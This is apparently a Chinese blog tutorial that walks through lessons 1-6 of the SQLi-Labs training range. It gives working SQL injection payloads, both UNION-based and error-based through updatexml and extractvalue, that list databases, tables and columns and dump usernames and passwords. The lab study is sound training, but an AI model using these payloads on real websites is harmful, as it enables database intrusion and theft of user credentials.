WEB常见漏洞之SQL注入(靶场篇—1)1

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: WEB常见漏洞之SQL注入(靶场篇—1)

0x01 简介

sqli靶场版

SqliLabs 是一个学习 SQL 注入的靶场,它提供了 GET 和 POST 的实验场景,涵盖了联合查询注入、基于报错的注入、基于时间的盲注、基于布尔的盲注、堆叠注入、二次注入以及各种注入绕过。

0x02 环境配置


靶场地址:https://github.com/Audi-1/sqli-labs

在 Windows 下使用 phpstudy 搭建靶场环境,将靶场放置到其 web 环境当中

成功访问说明靶场已经部署完成,接下来需要配置数据库连接

在/sql-connections目录下存在db-creds.inc数据库连接配置文件,设置数据库账号密码以及对应地址






$dbuser ='root';$dbpass ='root';$dbname ="security";$host = 'localhost';$dbname1 = "challenges";

完成后访问靶场,点击setup databases for labs搭建数据库环境

完成后便可快乐的注入了

闯关之前先了解常见的闭合方式、查询语法以及注入的分类




























常见的几个闭合方式:or 1=1 -- +'or 1=1 -- +            "or 1=1 -- +)or 1=1 -- +")or 1=1 -- +"))or 1=1 -- +用闭合的是数字型注入方式,不用闭合的是字符型注入方式union联合注入:sql union语法:select column name(s) from table_name1unionselect column name(s) from table_name2常用的sql注入查询函数:database()                数据库的名version()                 mysql的版本信息user()                    数据库的用户名@@datadir                 数据库路径@@version_compile_os      操作系统的版本select schema_name from information_schema.schemata    查库select table_name from information_schema.tables where table_schema='security'   查表select column_name from information_schema.columns where table_name='users'      查列select username,password from security.users           查字段select table_schema,table_name from information_chema.tables where table_schema='数据库名';table_schema是查询数据库名称(该字段存储数据库名)table_name是查询表名(该字段存储对应数据库中的包括的表名)from information_chema是从这个数据库里来查询tables这个表

注入的分类:















































数字型和字符型。攻击者目的只有一点,那就是绕过程序的限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。1、数字型注入当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。测试步骤:(1) 加单引号,URL:www.text.com/text.php?id=3’对应的sql:select* from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;(2) 加and 1=1,URL:www.text.com/text.php?id=3 and 1=1对应的sql:select* from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2对应的sql:select* from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异如果满足以上三点,则可以判断该URL存在数字型注入。2、字符型注入当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。例如数字型语句:select * from table where id=3则字符型如下:select * from table wherename=’admin’因此,在构造payload时通过闭合单引号可以成功执行语句:测试步骤:(1) 加单引号:select* from table where name=’admin’’由于加单引号后变成三个单引号,则无法执行,程序会报错;(2) 加 ’and1=1 此时sql 语句为:select * fromtable where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;Mysql 有三种常用注释符:-- 注意,这种注释符后边有一个空格# 通过#进行注释/* */ 注释掉符号内的内容因此,构造语句为:select * from table wherename =’admin’ and 1=1—’ 可成功执行返回结果正确;(3) 加and1=2— 此时sql语句为:select * fromtable where name=’admin’ and 1=2 –’则会报错如果满足以上三点,可以判断该url为字符型注入。Sql注入分类可以按照参数类型分为数字型和字符型。还有一些常见的注入分类,例如:(1)POST:注入字段位于POST数据中;(2)Cookie:注入字段位于Cookie数据中;(3)延时注入:根据数据库延时特性的注入(4)搜索注入:注入字段在搜索的位置;(5)base64注入:注入字符经过base64编码后注入;(7)错误注入:基于数据库错误信息的响应注入;

0x03 小试牛刀 1-20

1-20关通过请求参数值、HTTP请求头、请求方法、利用场景的不断变化,我们需要选择适当的注入方法进行SQL注入。

Lesson-1

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id='$id' limit 0,1## 返回内容if true:    输出查询内容else:    print_r(mysql_error());

通过联合查询判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面


id=1' AND '1'='2 //返回错误界面

使用 order by 判断字段数


id=1' order by 3--+ //返回正常界面


id=1' order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1' union select 1,2,3--+

查询基础信息



id=-1' union select 1,version(),user()--+id=-1' union select 1,@@version_compile_os(),database()--+

查询表名


id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1' union select 1,group_concat(username),group_concat(password) from users--+

Lesson-2

该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:







$sql = select * from users where id=$id limit 0,1# 返回内容if true:    输出查询内容else:    print_r(mysql_error());

使用联合查询判断注入点,尝试验证


id=1 AND 1=1 //返回正常界面


id=1 AND 1=2 //返回错误界面

判断字段数


id=1 order by 3--+ //返回正常界面


id=1 order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1 union select 1,2,3--+

查询基础信息



id=-1 union select 1,version(),user()--+id=-1 union select 1,2,database()--+

查询表名


id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Lesson-3

该题为单引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id=('$id') limit 0,1# 返回内容if true:    输出查询内容else:    print_r(mysql_error());

使用联合查询判断注入点,尝试验证


id=1') AND ('1')=('1 //返回正常界面


id=1') AND ('1')=('2 //返回错误界面

判断字段数


id=1') order by 3--+ //返回正常界面


id=1') order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1') union select 1,2,3--+

查询基础信息



id=-1') union select 1,version(),user()--+id=-1') union select 1,2,database()--+

查询表名


id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1') union select 1,group_concat(username),group_concat(password) from users--+

Lesson-4

该题为双引号单括号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1"

目标SQL语句如下:







$sql = select * from users where id=("$id") limit 0,1# 返回内容if true:    输出查询内容else:    print_r(mysql_error());

使用联合查询判断注入点,尝试验证


id=1") AND ("1")=("1 //返回正常界面


id=1") AND ("1")=("2 //返回错误界面

判断字段数


id=1") order by 3--+ //返回正常界面


id=1") order by 4--+ //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


id=-1") union select 1,2,3--+

查询基础信息



id=-1") union select 1,version(),user()--+id=-1") union select 1,2,database()--+

查询表名


id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+

查询列名


id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+

查询关键信息


id=-1") union select 1,group_concat(username),group_concat(password) from users--+

Lesson-5

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:







$sql = select * from users where id='$id' limit 0,1# 返回内容if true:    输出 You are in...... else:    print_r(mysql_error());

注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等

通过报错注入判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面


id=1' AND '1'='2 //返回错误界面

查询基础信息









id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+id=1' and (select count(*) from users group by concat((select user()),floor(rand(0)*2)))--+id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
id=1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+ id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1' and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+

查询表名


id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+

查询列名


id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量


id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+


id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+

Lesson-6

该题为双引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注


id=1"

目标SQL语句如下:








$id = '"'.$id.'"'$sql = select * from users where id=$id limit 0,1# 返回内容if true:    输出 You are in...... else:    print_r(mysql_error());

注意:本题与之前稍有不同,由于不输出查询结果,因此不可以使用联合查询的注入方式,但是这并不影响正常使用报错注入、布尔盲注、时间盲注等

通过报错注入判断注入点,尝试验证


id=1" AND "1"="1 //返回正常界面


id=1" AND "1"="2 //返回错误界面

查询基础信息





id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ id=1" and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+ id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1" and updatexml(1,concat(0x7e,(select @@version_compile_os()),0x7e),1)--+

查询表名


id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+

查询列名


id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)--+

查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量


id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+


id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e),1)--+

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
10天前
|
安全 关系型数据库 MySQL
Web安全-条件竞争漏洞
Web安全-条件竞争漏洞
21 0
|
6天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
30 8
|
6天前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
11 3
|
9天前
|
安全 应用服务中间件 开发工具
Web安全-SVN信息泄露漏洞分析
Web安全-SVN信息泄露漏洞分析
30 2
|
12天前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
48 5
|
10天前
|
JSON 安全 JavaScript
Web安全-JQuery框架XSS漏洞浅析
Web安全-JQuery框架XSS漏洞浅析
45 2
|
12天前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
在Web开发中,安全至关重要,尤其要警惕SQL注入和XSS攻击。SQL注入通过在数据库查询中插入恶意代码来窃取或篡改数据,而XSS攻击则通过注入恶意脚本来窃取用户敏感信息。本文将带你深入了解这两种威胁,并提供Python实战技巧,包括使用参数化查询和ORM框架防御SQL注入,以及利用模板引擎自动转义和内容安全策略(CSP)防范XSS攻击。通过掌握这些方法,你将能够更加自信地应对Web安全挑战,确保应用程序的安全性。
43 3
|
14天前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
42 5
|
12天前
|
安全 搜索推荐 应用服务中间件
Web安全-目录遍历漏洞
Web安全-目录遍历漏洞
18 2
|
12天前
|
XML JSON 安全
Web安全-XXE漏洞
Web安全-XXE漏洞
13 1
下一篇
无影云桌面